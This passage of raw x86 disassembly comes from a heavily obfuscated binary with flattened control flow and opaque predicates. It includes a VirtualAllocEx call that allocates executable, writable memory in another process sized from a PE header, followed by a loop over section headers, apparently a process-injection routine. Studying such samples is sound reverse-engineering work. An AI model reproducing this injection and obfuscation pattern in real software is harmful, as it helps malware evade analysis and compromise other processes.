and cl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 0
mov byte [ebp - 0x1b8a1], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x1b8a0], al
mov al, byte [ebp - 0x1b8a1]
and bh, 1
or cl, al
mov al, byte [ebp - 0x1b8a0]
or al, bh
xor cl, al
mov al, dl
and al, ch
xor dl, ch
or al, dl
mov byte [ebp - 0x1b89d], al
mov bh, 1
xor bh, 0
mov byte [ebp - 0x1b89c], bh
mov ch, cl
xor ch, 0xff
mov dl, 1
xor dl, 0
and bh, 0
mov al, dl
and al, 0
mov byte [ebp - 0x1b89f], al
mov al, ch
and al, 0
mov byte [ebp - 0x1b89e], al
mov al, byte [ebp - 0x1b89f]
and cl, dl
or bh, al
mov al, byte [ebp - 0x1b89e]
or al, cl
mov cl, byte [ebp - 0x1b89d]
xor bh, al
mov al, byte [ebp - 0x1b89c]
or al, ch
xor al, 0xff
or dl, 0
and al, dl
or bh, al
mov al, cl
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and cl, dl
mov ch, 1
xor ch, 1
and ch, 0
and dl, 1
or al, cl
mov cl, byte [ebp - 0x1b89b]
or ch, dl
mov dl, byte [ebp - 0x1b858]
xor al, ch
xor al, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 1
or al, bh
or ch, 1
xor al, 0xff
and al, ch
mov byte [ebp - 0x1b884], al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and cl, ch
or al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dl, ch
or cl, dl
mov ch, 1
xor ch, 0
and ch, 1
mov dl, 1
xor dl, 1
and dl, 0
or ch, dl
mov byte [ebp - 0x1b89a], ch
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov al, 1
xor al, 0
mov byte [ebp - 0x1b895], al
xor ch, 0xff
mov dl, 1
xor dl, 0
and al, 0
mov byte [ebp - 0x1b899], al
mov cl, dl
and cl, 0
mov al, ch
and al, 0
mov byte [ebp - 0x1b897], al
mov al, byte [ebp - 0x1b89a]
and al, dl
mov byte [ebp - 0x1b898], al
mov al, byte [ebp - 0x1b899]
or al, cl
mov cl, byte [ebp - 0x1b898]
mov byte [ebp - 0x1b896], al
mov al, byte [ebp - 0x1b897]
or al, cl
mov cl, byte [ebp - 0x1b896]
xor cl, al
mov al, byte [ebp - 0x1b895]
or al, ch
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov al, bh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and bh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or al, bh
or dl, ch
xor al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov al, bl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov cl, bl
and cl, ch
or al, cl
mov byte [ebp - 0x1b894], al
mov al, 1
xor al, 1
and al, 0
mov bh, 1
xor bh, 0
mov cl, bh
and cl, 1
mov ch, 1
xor ch, 1
and ch, 0
and bh, 1
or al, cl
mov cl, byte [ebp - 0x1b894]
or ch, bh
xor al, ch
mov byte [ebp - 0x1b893], al
mov ch, 1
xor ch, 0
and ch, 1
mov bh, 1
xor bh, 1
and bh, 0
or ch, bh
mov byte [ebp - 0x1b88e], ch
mov ch, cl
xor ch, 0xff
xor al, 0xff
mov byte [ebp - 0x1b88d], al
mov bh, 1
xor bh, 0
mov al, ch
and al, 0
mov byte [ebp - 0x1b892], al
mov al, byte [ebp - 0x1b88d]
and cl, bh
and al, 0
mov byte [ebp - 0x1b891], al
mov al, byte [ebp - 0x1b893]
and al, bh
mov byte [ebp - 0x1b890], al
mov al, byte [ebp - 0x1b892]
or al, cl
mov cl, byte [ebp - 0x1b891]
mov byte [ebp - 0x1b88f], al
mov al, byte [ebp - 0x1b890]
or cl, al
mov al, byte [ebp - 0x1b88f]
xor al, cl
mov cl, byte [ebp - 0x1b88e]
mov byte [ebp - 0x1b88c], al
mov al, byte [ebp - 0x1b88d]
or ch, al
mov al, byte [ebp - 0x1b88c]
xor ch, 0xff
or bh, 0
and ch, bh
or al, ch
mov ch, cl
and ch, 0
xor cl, 0
or ch, cl
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
and al, cl
mov cl, byte [ebp - 0x1b858]
or bh, al
xor bh, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or bh, ch
or al, 0
xor bh, 0xff
and bh, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and cl, ch
or al, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x1b88a], cl
mov cl, 1
xor cl, 1
mov ch, ah
and ch, cl
mov byte [ebp - 0x1b88b], ch
mov ch, al
xor ch, 0xff
and ch, 0xff
and al, cl
mov cl, byte [ebp - 0x1b88b]
mov byte [ebp - 0x1b889], al
mov al, byte [ebp - 0x1b88a]
or al, cl
mov cl, byte [ebp - 0x1b889]
or ch, cl
mov cl, byte [ebp - 0x1b884]
xor al, ch
xor ah, 0xff
mov ch, al
xor ch, ah
and ch, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x1b888], al
mov ah, 1
xor ah, 0
and cl, ah
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x1b887], al
mov al, byte [ebp - 0x1b888]
and ah, 1
or al, cl
mov cl, byte [ebp - 0x1b887]
or cl, ah
xor al, cl
mov byte [ebp - 0x1b879], al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
or al, cl
mov byte [ebp - 0x1b878], al
mov cl, 1
xor cl, 0
and cl, 0
mov al, 1
xor al, 0
mov ah, al
and ah, 0
mov byte [ebp - 0x1b886], ah
mov ah, 1
xor ah, 1
and ah, 0
and al, 1
mov byte [ebp - 0x1b885], al
mov al, byte [ebp - 0x1b886]
or cl, al
mov al, byte [ebp - 0x1b885]
or ah, al
mov al, byte [ebp - 0x1b884]
xor cl, ah
mov ah, byte [ebp - 0x1b879]
mov byte [ebp - 0x1b872], cl
mov cl, 1
xor cl, 0
xor ah, cl
mov cl, byte [ebp - 0x1b879]
and ah, cl
mov cl, byte [ebp - 0x1b872]
xor al, 0xff
mov byte [ebp - 0x1b883], al
xor cl, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x1b882], al
mov al, byte [ebp - 0x1b883]
or al, cl
mov cl, byte [ebp - 0x1b882]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x1b878]
mov byte [ebp - 0x1b881], al
mov al, 1
xor al, 0
xor cl, al
mov al, byte [ebp - 0x1b878]
and cl, al
mov al, byte [ebp - 0x1b872]
mov byte [ebp - 0x1b880], cl
xor al, 0xff
mov cl, dl
xor cl, al
mov al, byte [ebp - 0x1b881]
and cl, dl
mov dl, ah
and dl, al
xor ah, al
mov al, byte [ebp - 0x1b880]
or dl, ah
mov byte [ebp - 0x1b87b], dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1b87c], ah
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x1b87d], dl
mov dl, 1
xor dl, 0
and ah, 0
and al, dl
mov byte [ebp - 0x1b87f], al
mov al, byte [ebp - 0x1b87d]
and al, 0
mov byte [ebp - 0x1b87e], al
mov al, byte [ebp - 0x1b87f]
and cl, dl
or ah, al
mov al, byte [ebp - 0x1b87e]
or al, cl
mov cl, byte [ebp - 0x1b87d]
xor ah, al
mov al, byte [ebp - 0x1b87c]
or al, cl
mov cl, byte [ebp - 0x1b87b]
xor al, 0xff
or dl, 0
and al, dl
or ah, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x1b87a], al
mov al, 1
xor al, 0
and cl, al
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, al
mov al, byte [ebp - 0x1b87a]
or al, cl
mov cl, byte [ebp - 0x1b879]
or dl, ah
mov ah, byte [ebp - 0x1b878]
xor al, dl
mov byte [ebp - 0x1b86c], al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1b873], al
xor ah, 0xff
mov dl, 1
xor dl, 1
and al, 0xff
mov byte [ebp - 0x1b877], al
and cl, dl
mov al, ah
and al, 0xff
mov byte [ebp - 0x1b875], al
mov al, byte [ebp - 0x1b878]
and al, dl
mov byte [ebp - 0x1b876], al
mov al, byte [ebp - 0x1b877]
or al, cl
mov cl, byte [ebp - 0x1b876]
mov byte [ebp - 0x1b874], al
mov al, byte [ebp - 0x1b875]
or al, cl
mov cl, byte [ebp - 0x1b874]
xor cl, al
mov al, byte [ebp - 0x1b873]
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, cl
mov cl, byte [ebp - 0x1b872]
or dl, ah
xor al, dl
mov byte [ebp - 0x1b86f], al
mov dl, 1
xor dl, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1b86e], al
mov al, 1
xor al, 0
mov byte [ebp - 0x1b86d], al
mov ah, dl
and ah, 0
and al, 0
mov byte [ebp - 0x1b871], al
mov al, byte [ebp - 0x1b86e]
and al, 0
mov byte [ebp - 0x1b870], al
mov al, byte [ebp - 0x1b86d]
and cl, al
mov al, byte [ebp - 0x1b871]
or ah, al
mov al, byte [ebp - 0x1b870]
or al, cl
mov cl, byte [ebp - 0x1b86f]
xor ah, al
mov al, byte [ebp - 0x1b86e]
or dl, al
mov al, byte [ebp - 0x1b86d]
xor dl, 0xff
or al, 0
and dl, al
mov al, byte [ebp - 0x1b86c]
or ah, dl
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, ch
xor al, 0xff
mov dl, bh
xor dl, al
and dl, bh
mov ah, bh
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
mov byte [ebp - 0x1b86b], al
and bh, al
mov al, ch
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x1b86a], al
mov al, byte [ebp - 0x1b86b]
and ch, al
mov al, byte [ebp - 0x1b86a]
or ah, bh
or al, ch
xor ah, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov byte [ebp - 0x1b867], al
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or dl, al
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ch, 1
xor ch, 1
and ch, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov ah, 1
xor ah, 1
and ah, 0
and bh, 1
or ch, al
mov al, byte [ebp - 0x1b867]
or ah, bh
xor ch, ah
mov bh, ch
xor bh, 0xff
mov ah, cl
xor ah, bh
and ah, cl
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
and al, cl
mov byte [ebp - 0x1b869], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x1b868], al
mov al, byte [ebp - 0x1b869]
and cl, 1
or bh, al
mov al, byte [ebp - 0x1b868]
or al, cl
mov cl, byte [ebp - 0x1b867]
xor bh, al
mov byte [ebp - 0x1b866], bh
mov al, 1
xor al, 1
xor bh, al
mov al, byte [ebp - 0x1b866]
and bh, al
xor ch, 0xff
mov al, cl
xor al, ch
and al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, bh
xor dl, 0xff
mov byte [ebp - 0x1b863], dl
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
and dl, 0
and bh, ah
mov byte [ebp - 0x1b865], bh
mov bh, ch
and bh, 0
and al, ah
mov byte [ebp - 0x1b864], al
mov al, byte [ebp - 0x1b865]
or dl, al
mov al, byte [ebp - 0x1b864]
or bh, al
mov al, byte [ebp - 0x1b863]
xor dl, bh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or dl, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x1b84f], al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov dl, dh
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, dl
or al, cl
xor ah, al
mov ch, bl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or ch, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov al, ah
xor al, 0xff
mov bh, 1
xor bh, 0
mov cl, 1
xor cl, 0
or al, bh
or cl, 0
xor al, 0xff
and al, cl
mov bh, dl
xor bh, 0xff
mov cl, dh
xor cl, bh
and cl, dh
mov bh, 1
xor bh, 0
mov dh, ch
xor dh, bh
and dh, ch
mov byte [ebp - 0x1b85e], dh
mov bh, dl
xor bh, 0xff
mov dh, bl
xor dh, bh
and dh, bl
mov byte [ebp - 0x1b860], dh
mov bl, al
xor bl, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x1b85f], dh
mov bh, 1
xor bh, 0
mov dh, bl
and dh, 0
and al, bh
mov byte [ebp - 0x1b862], al
mov al, byte [ebp - 0x1b85f]
and al, 0
mov byte [ebp - 0x1b861], al
mov al, byte [ebp - 0x1b862]
and cl, bh
or dh, al
mov al, byte [ebp - 0x1b861]
or al, cl
mov cl, byte [ebp - 0x1b860]
xor dh, al
mov al, byte [ebp - 0x1b85f]
or bl, al
mov al, byte [ebp - 0x1b85e]
xor bl, 0xff
or bh, 0
and bl, bh
or dh, bl
mov byte [ebp - 0x1b85a], dh
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x1b85b], dh
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
and dh, 0xff
and al, bl
mov byte [ebp - 0x1b85d], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1b85c], al
mov al, byte [ebp - 0x1b85d]
and cl, bl
or dh, al
mov al, byte [ebp - 0x1b85c]
or al, cl
mov cl, byte [ebp - 0x1b85b]
xor dh, al
mov al, byte [ebp - 0x1b85a]
or cl, bh
xor cl, 0xff
or bl, 1
and cl, bl
or dh, cl
mov bl, al
xor bl, 0xff
mov cl, dh
and cl, bl
xor dh, 0xff
and al, dh
or cl, al
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and al, ch
or ah, al
mov ch, 1
xor ch, 0
mov byte [ebp - 0x1b859], ch
mov bl, dl
xor bl, 0xff
mov dh, 1
xor dh, 0
and ch, 0
mov al, dh
and al, 0
mov bh, bl
and bh, 0
and dl, dh
or ch, al
mov al, byte [ebp - 0x1b859]
or bh, dl
mov dl, byte [ebp - 0x1b858]
xor ch, bh
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ch, al
xor ah, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or ah, ch
or al, 0
xor ah, 0xff
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov ch, al
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
mov dh, al
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or ch, dh
or cl, ah
xor ch, cl
mov cl, 1
xor cl, 1
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov ch, 1
xor ch, 1
and ch, 1
mov ah, 1
xor ah, 1
and ah, 1
or ch, ah
xor ch, 0xff
mov ah, al
xor ah, ch
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0x1b854], al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov bl, dl
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or bl, al
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
mov dh, cl
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, dh
or al, cl
xor ah, al
mov al, ch
xor al, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 1
mov bh, ah
xor bh, 0xff
mov dh, 1
xor dh, 0
or cl, bh
or dh, 0
xor cl, 0xff
and cl, dh
mov byte [ebp - 0x1b857], cl
mov dh, bl
xor dh, 0xff
mov cl, 1
xor cl, 1
mov bh, 1
xor bh, 1
or dh, cl
mov cl, byte [ebp - 0x1b857]
or bh, 1
xor dh, 0xff
and dh, bh
mov byte [ebp - 0x1b851], dh
xor dl, 0xff
mov bh, ah
xor bh, 0xff
mov dh, 1
xor dh, 1
or dl, bh
or dh, 1
xor dl, 0xff
and dl, dh
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x1b853], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x1b852], cl
mov dh, bh
and dh, 0xff
and al, cl
mov cl, byte [ebp - 0x1b857]
mov byte [ebp - 0x1b856], al
mov al, byte [ebp - 0x1b853]
and al, 0xff
mov byte [ebp - 0x1b855], al
mov al, byte [ebp - 0x1b852]
and cl, al
mov al, byte [ebp - 0x1b856]
or dh, al
mov al, byte [ebp - 0x1b855]
or al, cl
mov cl, byte [ebp - 0x1b854]
xor dh, al
mov al, byte [ebp - 0x1b853]
or bh, al
mov al, byte [ebp - 0x1b852]
xor bh, 0xff
or al, 1
and bh, al
mov al, byte [ebp - 0x1b851]
or dh, bh
mov bh, al
and bh, dl
xor al, dl
or bh, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
and dh, al
mov byte [ebp - 0x1b850], dh
mov dh, bh
xor dh, 0xff
and dh, 0xff
and bh, al
mov al, byte [ebp - 0x1b850]
or dl, al
mov al, byte [ebp - 0x1b84f]
or dh, bh
xor dl, dh
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, dh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and dh, bl
or ch, dh
mov dh, ah
and dh, 1
xor ah, 1
or dh, ah
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov dh, dl
and dh, ah
xor dl, ah
or dh, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and cl, ah
or dl, cl
mov ch, dh
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or ch, dh
or cl, ah
xor ch, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov dl, ah
and dl, 1
xor ah, 1
or dl, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and cl, ch
or ah, cl
xor ah, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or ah, dl
or cl, 0
xor ah, 0xff
and ah, cl
mov bl, al
xor bl, 0xff
and bl, 0
mov dl, 1
xor dl, 0
mov ch, al
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bl, ch
or cl, dl
xor bl, cl
mov dh, ah
xor dh, 0xff
and dh, 0
mov dl, 1
xor dl, 0
mov ch, ah
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or dh, ch
or cl, dl
xor dh, cl
mov bh, 1
xor bh, 0
and bh, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, ch
or cl, dl
xor bh, cl
mov cl, 1
xor cl, 0
mov dl, bl
xor dl, cl
and dl, bl
mov cl, bh
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov cl, 1
xor cl, 0
mov al, dh
xor al, cl
and al, dh
mov byte [ebp - 0x1b84e], al
mov al, bh
xor al, 0xff
mov cl, ah
xor cl, al
mov al, byte [ebp - 0x1b84e]
and cl, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x1b84d], al
mov cl, bl
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and bl, dl
mov ch, ah
and ch, 0
and dh, dl
or al, bl
or ch, dh
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and al, cl
or dl, al
mov cl, 1
xor cl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
mov al, ch
and al, 0
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x1b84d]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3423ee95
mov ecx, 0x8c9aec32
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0x110db812
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0x5df80ef1
mov dword [ebp - 0x1b7b4], 0
jmp 0x4b3015
mov eax, dword [ebp - 0x1b7ac]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x1b620]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1b700], eax
mov dword [ebp - 0x1b7b0], 0x4e946536
jmp 0x4b3015
mov eax, dword [ebp - 0x1b6f0]
movzx ecx, word [eax + 2]
mov eax, dword [ebp - 0x1b6f4]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x1b6e9], al
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
xor edx, edx
sub edx, 0x9fbf980
sub edx, 1
add edx, 0x9fbf980
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, esi
mov esi, 0xf5692a6f
add esi, 0
sub esi, ecx
sub esi, 0xf5692a6f
xor edi, edi
sub edi, edx
add edi, 0
xor edx, edx
sub edx, edi
sub esi, edx
xor edx, edx
sub edx, 0x42a463a8
sub edx, esi
add edx, 0x42a463a8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov ch, dl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dh, dl
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or ch, dh
or al, ah
xor ch, al
mov ah, cl
xor ah, 0xff
mov al, ch
and al, ah
xor ch, 0xff
mov ah, cl
and ah, ch
or al, ah
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 1
or al, ch
or ah, 1
xor al, 0xff
and al, ah
mov byte [ebp - 0x1b96a], al
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov ch, cl
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, ch
or al, ah
xor bh, al
xor bh, 0xff
xor bh, 0
and bh, 0
mov ah, 1
xor ah, 0
and ah, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov ch, ah
xor ch, 0xff
mov al, cl
xor al, ch
and al, cl
mov cl, dl
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
mov bl, dl
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or cl, bl
or ch, dh
xor cl, ch
xor cl, 0xff
mov dh, 1
xor dh, 0
mov ch, 1
xor ch, 1
or cl, dh
or ch, 1
xor cl, 0xff
and cl, ch
xor ah, 0xff
mov ch, dl
xor ch, ah
and ch, dl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov dl, ah
and dl, 0
and bh, dh
mov byte [ebp - 0x1b96c], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x1b96b], al
mov al, byte [ebp - 0x1b96c]
or dl, al
mov al, byte [ebp - 0x1b96b]
or bh, al
mov al, byte [ebp - 0x1b96a]
xor dl, bh
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or dl, ah
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov dh, al
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
mov ah, cl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
mov bl, cl
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
mov dh, 1
xor dh, 1
and dh, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or dh, bh
or ch, bl
xor dh, ch
mov byte [ebp - 0x1b966], dh
mov bl, 1
xor bl, 1
mov ch, dl
xor ch, bl
and ch, dl
xor dh, 0xff
mov bl, al
xor bl, dh
and bl, al
mov al, ah
xor al, 0xff
mov bh, 1
xor bh, 1
mov dh, 1
xor dh, 1
or al, bh
mov bh, byte [ebp - 0x1b966]
or dh, 1
xor al, 0xff
and al, dh
xor cl, 0xff
xor bh, 0xff
mov dh, 1
xor dh, 0
or cl, bh
or dh, 0
xor cl, 0xff
and cl, dh
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x1b967], ch
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
and ch, 0xff
and al, bl
mov byte [ebp - 0x1b969], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1b968], al
mov al, byte [ebp - 0x1b969]
and cl, bl
or ch, al
mov al, byte [ebp - 0x1b968]
or al, cl
mov cl, byte [ebp - 0x1b967]
xor ch, al
mov al, byte [ebp - 0x1b966]
or cl, bh
xor cl, 0xff
or bl, 1
and cl, bl
or ch, cl
mov bl, dh
xor bl, 0xff
and bl, 0
mov bh, 1
xor bh, 0
and dh, bh
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bh
or bl, dh
or cl, ch
xor bl, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dh, cl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and cl, dl
or dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x692421c2
mov ecx, 0x3c4a6d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0x8386f9fd
jmp 0x4b3015
mov eax, dword [ebp - 0x1b6e0]
mov esi, dword [eax]
mov ecx, dword [ebp - 0x1b6e4]
mov eax, 0xa0578953
add eax, 0
add eax, 0x56d949de
sub eax, 0xa0578953
xor edx, edx
sub edx, esi
add eax, edx
xor edx, edx
sub edx, 0x56d949de
add eax, edx
add ecx, 0xf25d0852
add ecx, 0xc1be34b9
sub ecx, 0xf25d0852
sub ecx, 0x95725fc0
sub ecx, eax
add ecx, 0x95725fc0
xor eax, eax
sub eax, 0xc1be34b9
add ecx, eax
mov eax, dword [ebp - 0x1b78c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x1b788]
imul edx, dword [edx], 0x28
add eax, edx
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 0x1b6e8]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.005f9110
add esp, 0xc
mov dword [ebp - 0x1b7b0], 0x59154bc3
jmp 0x4b3015
mov eax, dword [ebp - 0x1b788]
mov eax, dword [eax]
sub eax, 0x7a26aa89
add eax, 0xe37f9789
add eax, 0x7a26aa89
sub eax, 0xb617a39b
sub eax, 0x15db3fca
add eax, 0xb617a39b
sub eax, 0x1af8739f
sub eax, 0xe37f9789
add eax, 0x1af8739f
add eax, 0x56c7f6aa
sub eax, 0x2482cbc6
sub eax, 0x56c7f6aa
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0xaf6f6ec0
add eax, 0x2482cbc6
sub eax, 0xaf6f6ec0
add eax, 0x7eef8f8e
sub eax, 0xdde72e5a
sub eax, 0x7eef8f8e
add eax, 0xfdc5b369
add eax, 0x15db3fca
sub eax, 0xfdc5b369
xor ecx, ecx
sub ecx, 0xdde72e5a
sub eax, ecx
